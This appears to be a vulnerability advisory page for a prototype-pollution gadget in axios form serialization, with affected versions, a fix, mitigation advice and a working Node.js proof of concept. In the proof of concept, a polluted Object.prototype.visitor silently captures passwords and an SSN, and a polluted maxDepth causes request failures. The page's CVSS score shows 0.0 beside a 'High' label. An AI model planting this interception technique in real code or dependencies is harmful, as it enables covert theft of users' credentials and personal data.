Skip to content

GHSA-x97p-jq2g-jp4f CVE-2026-101909

Axios: Prototype Pollution Gadget in axios toFormData Options

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.50%
Chance of exploitation in the next 30 days. Higher than 42.65% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Fix
0.34.0
Upgrade axios to this version or later

Description

Summary

Axios form serialization reads visitor, maxDepth, dots, indexes, metaTokens, and Blob from an internal options object without own-property guards. When Object.prototype has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.

Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.

Impact

The impact depends on which property is polluted and which axios serialization path the application uses.

Polluted dots, indexes, or metaTokens can change field names and cause the receiving service to parse different data than the caller intended. Polluted maxDepth can cause nested form submissions to throw ERR_FORM_DATA_DEPTH_EXCEEDED, producing request-level or service-level denial of service for affected workflows. Polluted visitor can execute as the serializer visitor if an attacker can place a function on Object.prototype, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.

Affected Functionality

Affected:

  • axios.toFormData().
  • transformRequest paths that serialize plain objects to multipart/form-data.
  • URL-encoded form serialization paths that rely on the same helper.
  • formSerializer option defaults when the relevant properties are absent as own properties.

Not affected:

  • JSON request bodies.
  • Requests that do not invoke toFormData().
  • Processes where Object.prototype is not polluted.

Technical Details

lib/helpers/toFormData.js merges caller options with defaults using utils.toFlatObject(). When options is undefined, toFlatObject() returns the default object unchanged:

{
  metaTokens: true,
  dots: false,
  indexes: false
}

That default object has Object.prototype in its prototype chain. toFormData() then reads behavior-affecting values directly:

const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);
const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;

These reads can resolve inherited polluted properties.

Local code review confirmed the direct reads in v1.18.1. Tag checks show the option-based form serializer exists in v0.28.0 and later; maxDepth appears in the 1.x line from the form recursion fix.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.maxDepth = 1;

await axios.post(url, { a: { b: { c: 'value' } } }, {
  headers: { 'Content-Type': 'multipart/form-data' }
});

Expected safe behavior is that the default max depth is used unless the caller sets an own formSerializer.maxDepth. Current behavior reads the inherited value and can throw ERR_FORM_DATA_DEPTH_EXCEEDED.

For serializer alteration, polluting Object.prototype.dots = true changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.

Workarounds

Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own formSerializer object that sets explicit safe values for all relevant keys, including visitor, maxDepth, dots, indexes, metaTokens, and Blob.

<details> <summary><h3>Original report</h3></summary>

Summary

axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (visitor, maxDepth, dots, indexes, metaTokens, Blob) are read from a plain JavaScript object that inherits from Object.prototype without hasOwnProperty guards. When Object.prototype has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior.

The highest-impact gadget is visitor: a polluted function on Object.prototype.visitor is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments.

Details

Root Cause

The attack chain has three steps: Step 1: formSerializer is read safely, but undefined flows through In lib/defaults/index.js, the default transformRequest function reads formSerializer from config using the own() helper, which enforces hasOwnProp:

const formSerializer = own(this, 'formSerializer');

When the user does not explicitly configure formSerializer, this correctly returns undefined. That undefined is then passed as the options parameter to toFormData():

return toFormData(data, _FormData && new _FormData(), formSerializer);
//                                                     ^^^^^^^^^^^^ undefined

Step 2: toFlatObject returns a plain-object default Inside lib/helpers/toFormData.js, options (which is undefined) is merged with defaults via utils.toFlatObject():

options = utils.toFlatObject(
    options,                                    // undefined
    { metaTokens: true, dots: false, indexes: false },  // plain object literal
    false,
    function defined(option, source) {
        return !utils.isUndefined(source[option]);
    }
);

toFlatObject has an early-return for null/undefined sources:

// lib/utils.js:607
if (sourceObj == null) return destObj;

Since options is undefined, the function returns destObj unchanged — the plain object { metaTokens: true, dots: false, indexes: false }. This object's prototype is Object.prototype.

Step 3: Options are read without hasOwnProp guards The six option properties are read directly from the plain object:

const metaTokens = options.metaTokens;                                          // line 117
const visitor    = options.visitor || defaultVisitor;                            // line 119
const dots       = options.dots;                                                // line 120
const indexes    = options.indexes;                                             // line 121
const _Blob      = options.Blob || (typeof Blob !== 'undefined' && Blob);       // line 122
const maxDepth   = options.maxDepth === undefined                                // line 123
                     ? DEFAULT_FORM_DATA_MAX_DEPTH
                     : options.maxDepth;

None of these reads use utils.hasOwnProp(). Since the options object inherits from Object.prototype, any property set on Object.prototype by a compromised dependency is resolved through the prototype chain.

Why the Existing Defenses Didn't Catch This

axios has extensive prototype pollution defenses. However, those defenses are all focused on the config object (created by mergeConfig, which returns Object.create(null)). The toFormData function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited.

PoC

Reproduction Steps
Environment

Any environment with Node.js and npm. Tested on: - Node.js v24.15.0, npm 11.13.0 - axios v1.18.1 (latest release at time of writing)

Step 1: Create a fresh project
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install axios@1.18.1
Step 2: Create the PoC file

Create poc.mjs with the following content:

import axios from 'axios';
import http from 'http';

// Simulate pollution from a compromised transitive dependency
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
    stolen.push({ key, value });
    return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;

const server = http.createServer((req, res) => {
    res.writeHead(200);
    res.end('{}');
});

server.listen(0, '127.0.0.1', async () => {
    const { port } = server.address();
    try {
        // Exfiltration: visitor intercepts all form fields
        await axios.post(`http://127.0.0.1:${port}/`, {
            username: 'john',
            password: 'SuperSecret123!',
            profile: { ssn: '123-45-6789' }
        }, { headers: { 'Content-Type': 'multipart/form-data' } });

        console.log('Stolen:', stolen);
        // Stolen: [
        //   { key: 'username', value: 'john' },
        //   { key: 'password', value: 'SuperSecret123!' },
        //   { key: 'profile',  value: { ssn: '123-45-6789' } },
        //   { key: 'ssn',      value: '123-45-6789' }
        // ]

        // DoS: nested object rejected by polluted maxDepth
        await axios.post(`http://127.0.0.1:${port}/`,
            { a: { b: { c: { d: 'value' } } } },
            { headers: { 'Content-Type': 'multipart/form-data' } }
        );
        // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED
        //   "Object is too deeply nested (3 levels). Max depth: 2"
    } finally {
        delete Object.prototype.visitor;
        delete Object.prototype.maxDepth;
        server.close();
    }
});
Step 3: Run the PoC
node poc.mjs

Impact

1. Data Exfiltration via visitor (Confidentiality: High)

A polluted Object.prototype.visitor function is called as the form data visitor:

visitor.call(formData, el, key, path, exposedHelpers)

The attacker receives: - value — the raw value being serialized (passwords, tokens, PII, API keys) - key — the field name - path — the full path array (e.g., ['profile', 'address', 'street']) - exposedHelpers — internal helpers including defaultVisitor, convertValue, isVisitable

By delegating to helpers.defaultVisitor, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server.

2. Denial of Service via maxDepth (Availability: Low)

A polluted Object.prototype.maxDepth of 1 or 2 causes any moderately nested form data request to throw ERR_FORM_DATA_DEPTH_EXCEEDED. Applications that send nested objects as form data (common with APIs that accept profile[name], address[city], etc.) will experience mysterious failures.

3. Data Corruption via dots, indexes, metaTokens (Integrity: Low)

Polluting these options changes the serialization format of form field names: - dots: true — changes bracket notation (user[name]) to dot notation (user.name) - indexes: true — changes array serialization (items[]) to indexed (items[0], items[1]) - metaTokens: false — changes obj{} keys to raw json strings

The server may misinterpret the submitted form data, leading to silent data corruption.

</details>


Affected versions

npm

PackageVulnerableFixed in
axios
>= 0.28.0, < 0.34.0
0.34.0
axios
>= 1.15.1, < 1.20.0
1.20.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

axios npm → 0.34.0

npm
npm install axios@0.34.0
yarn
yarn add axios@0.34.0
pnpm
pnpm add axios@0.34.0

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
Low
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

How to prevent it
  • Implementation: By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
  • Architecture and Design: By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
  • Implementation: When handling untrusted objects, validating using a schema can be used.
  • Implementation: By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
  • Implementation: Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-44g4-m2mj-wpvx
Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges
Medium Also affects axios
GHSA-vh66-26gq-q6x8
Axios: Prototype pollution gadget in fetch adapter can alter outbound requests
Medium Also affects axios
GHSA-r4gj-5m52-g5wh
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
High Also affects axios
GHSA-mghh-pgcx-3jjj
Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
High Also affects axios
GHSA-m8m8-qj5v-23w3
Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection
High Also affects axios
GHSA-j8rh-479h-cp32
Axios: Header Injection via Inherited headers After Minimal Interceptor
Medium Also affects axios
GHSA-c29m-xwm3-cm6r
Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
High Also affects axios
GHSA-9fr6-4gfg-395g
Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method
Medium Also affects axios
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor